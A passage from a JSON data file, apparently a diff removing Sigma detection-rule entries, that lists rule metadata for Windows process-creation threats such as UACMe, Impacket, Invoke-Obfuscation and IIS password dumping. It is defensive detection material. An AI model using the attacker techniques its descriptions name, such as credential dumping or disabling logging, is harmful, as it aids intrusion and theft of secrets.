"36d88494-1d43-4dc0-b3fa-35c8fea0ca9d", - "value": "CreateMiniDump Hacktool" - }, - { - "description": "Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata", - "meta": { - "author": "Christian Burkard, Florian Roth", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_hktl_uacme_uac_bypass.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "d38d2fa4-98e6-4a24-aff1-410b0c9ad177", - "value": "UAC Bypass Tool UACMe Akagi" - }, - { - "description": "Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)", - "meta": { - "author": "Maxim Pavlunin", - "creation_date": "2020/04/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_html_help_spawn.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_html_help_spawn.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001", - "attack.t1218.010", - "attack.t1218.011", - "attack.execution", - "attack.t1059.001", - "attack.t1059.003", - "attack.t1059.005", - "attack.t1059.007", - "attack.t1047", - "attack.t1566", - "attack.t1566.001", - "attack.initial_access", - "attack.t1218" - ] - }, - "uuid": "52cad028-0ff0-4854-8f67-d25dfcbc78b4", - "value": "HTML Help Shell Spawn" - }, - { - "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_hwp_exploits.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://en.wikipedia.org/wiki/Hangul_(word_processor)", - "https://twitter.com/cyberwar_15/status/1187287262054076416", - "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", - "https://blog.alyac.co.kr/1901", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml", - "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001", - "attack.execution", - "attack.t1203", - "attack.t1059.003", - "attack.g0032" - ] - }, - "uuid": "023394c4-29d5-46ab-92b8-6a534c6f447b", - "value": "Suspicious HWP Sub Processes" - }, - { - "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files", - "meta": { - "author": "frack113", - "creation_date": "2022/07/18", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_icacls_deny.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml", - "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "4ae81040-fc1c-4249-bfa3-938d260214d9", - "value": "Use Icacls to Hide File to Everyone" - }, - { - "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_iis_connection_strings_decryption.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml", - "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "97dbf6e2-e436-44d8-abee-4261b24d3e41", - "value": "Microsoft IIS Connection Strings Decryption" - }, - { - "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", - "meta": { - "author": "frack113", - "creation_date": "2022/01/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_iis_http_logging.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e", - "value": "Disable Windows IIS HTTP Logging" - }, - { - "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_iis_service_account_password_dumped.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_service_account_password_dumped.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "2d3cdeec-c0db-45b4-aa86-082f7eb75701", - "value": "Microsoft IIS Service Account Password Dumped" - }, - { - "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_imaging_devices_unusual_parents.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imaging_devices_unusual_parents.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ] - }, - "uuid": "f11f2808-adb4-46c0-802a-8660db50fa99", - "value": "ImagingDevices Unusual Parent Or Child Processes" - }, - { - "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/24", - "falsepositive": [ - "Legitimate use of the impacket tools" - ], - "filename": "proc_creation_win_impacket_compiled_tools.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml", - "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries" - ], - "tags": [ - "attack.execution", - "attack.t1557.001" - ] - }, - "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19", - "value": "Impacket Tool Execution" - }, - { - "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework", - "meta": { - "author": "Ecco, oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/09/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_impacket_lateralization.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.003" - ] - }, - "uuid": "10c14723-61c7-4c75-92ca-9af245723ad2", - "value": "Impacket Lateralization Detection" - }, - { - "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_import_cert_susp_locations.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml", - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ] - }, - "uuid": "5f6a601c-2ecb-498b-9c33-660362323afa", - "value": "Root Certificate Installed From Susp Locations" - }, - { - "description": "Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.", - "Legitimate usage of scripts." - ], - "filename": "proc_creation_win_indirect_cmd.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_cmd.yml", - "https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "fa47597e-90e9-41cd-ab72-c3b74cfb0d02", - "value": "Indirect Command Execution" - }, - { - "description": "Detects the use of native Windows tool, forfiles to execute a file. Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.", - "meta": { - "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_indirect_command_execution_forfiles.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_command_execution_forfiles.yml", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a", - "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "a85cf4e3-56ee-4e79-adeb-789f8fb209a8", - "value": "Indirect Command Exectuion via Forfiles" - }, - { - "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_infdefaultinstall.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "ce7cf472-6fcc-490a-9481-3786840b5d9b", - "value": "InfDefaultInstall.exe .inf Execution" - }, - { - "description": "Detects encoded base64 MZ header in the commandline", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/12", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_inline_base64_mz_header.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_base64_mz_header.yml" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "22e58743-4ac8-4a9f-bf19-00a0428d8c5f", - "value": "Base64 MZ Header In CommandLine" - }, - { - "description": "Detects the use of WinAPI Functions via the commandline as seen used by threat actors via the tool winapiexec", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_inline_win_api_access.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml", - "https://twitter.com/m417z/status/1566674631788007425" - ], - "tags": [ - "attack.execution", - "attack.t1106" - ] - }, - "uuid": "ba3f5c1b-6272-4119-9dbd-0bc8d21c2702", - "value": "Accessing WinAPI Via CommandLine" - }, - { - "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", - "meta": { - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/09/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_install_reg_debugger_backdoor.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml", - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.008" - ] - }, - "uuid": "ae215552-081e-44c7-805f-be16f975c8a2", - "value": "Suspicious Debugger Registration Cmdline" - }, - { - "description": "Detect an interactive AT job, which may be used as a form of privilege escalation.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unlikely (at.exe deprecated as of Windows 8)" - ], - "filename": "proc_creation_win_interactive_at.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml", - "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1053.002" - ] - }, - "uuid": "60fc936d-2eb0-4543-8a13-911c750a1dfc", - "value": "Interactive AT Job" - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_clip.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "b222df08-0e07-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation CLIP+ Launcher" - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block", - "meta": { - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "4bf943c6-5146-4273-98dd-e958fd1e3abf", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation" - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_stdin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "6c96fc76-0eb1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation STDIN+ Launcher" - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_var.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "27aec9c9-dbb0-4939-8422-1742242471d0", - "value": "Invoke-Obfuscation VAR+ Launcher" - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_via_compress.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_via_rundll.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "056a7ee1-4853-4e67-86a0-3fd9ceed7555", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER" - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_via_stdin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "9c14c9fa-1a63-4a64-8e57-d19280559490", - "value": "Invoke-Obfuscation Via Stdin" - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_via_use_clip.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "e1561947-b4e3-4a74-9bdd-83baed21bdb5", - "value": "Invoke-Obfuscation Via Use Clip" - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ac20ae82-8758-4f38-958e-b44a3140ca88", - "value": "Invoke-Obfuscation Via Use MSHTA" - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2019/10/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_via_use_rundll32.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "36c5146c-d127-4f85-8e21-01bf62355d5a", - "value": "Invoke-Obfuscation Via Use Rundll32" - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_invoke_obfuscation_via_var.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" - }, - { - "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/10/08", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_iox.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/EddieIvan01/iox", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iox.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "d7654f02-e04b-4934-9838-65c46f187ebc", - "value": "IOX Tunneling Tool" - }, - { - "description": "Detect the use of Jlaive to execute assemblies in a copied PowerShell", - "meta": { - "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", - "creation_date": "2022/05/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_jlaive_batch_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool", - "https://github.com/ch2sh/Jlaive", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "0a99eb3e-1617-41bd-b095-13dc767f3def", - "value": "Jlaive Usage For Assembly Execution In-Memory" - }, - { - "description": "Detects the use of Ldifde.exe with specific command line arguments to potentially load an LDIF file containing HTTP-based arguments.\nLdifde.exe is present, by default, on domain controllers and only requires user-level authentication to execute.\n", - "meta": { - "author": "@gott_cyber", - "creation_date": "2022/09/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_ldifde_file_load.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/0gtweet/status/1564968845726580736", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", - "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105", - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "6f535e01-ca1f-40be-ab8d-45b19c0c8b7f", - "value": "Suspicious Ldifde Command Usage" - }, - { - "description": "Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/06/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lethalhta.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml", - "https://codewhitesec.blogspot.com/2018/07/lethalhta.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.005" - ] - }, - "uuid": "ed5d72a6-f8f4-479d-ba79-02f6a80d7471", - "value": "MSHTA Spwaned by SVCHOST" - }, - { - "description": "Local accounts, System Owner/User discovery using operating systems utilities", - "meta": { - "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Legitimate administrator or user enumerates local users for legitimate reason" - ], - "filename": "proc_creation_win_local_system_owner_account_discovery.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "attack.t1087.001" - ] - }, - "uuid": "502b42de-4306-40b4-9596-6f590c81f073", - "value": "Local Accounts Discovery" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/11", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_logmein.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "d85873ef-a0f8-4c48-a53a-6b621f11729d", - "value": "Use of LogMeIn Remote Access Software" - }, - { - "description": "Detects creation or execution of UserInitMprLogonScript persistence method", - "meta": { - "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton", - "creation_date": "2019/01/12", - "falsepositive": [ - "Exclude legitimate logon scripts" - ], - "filename": "proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": 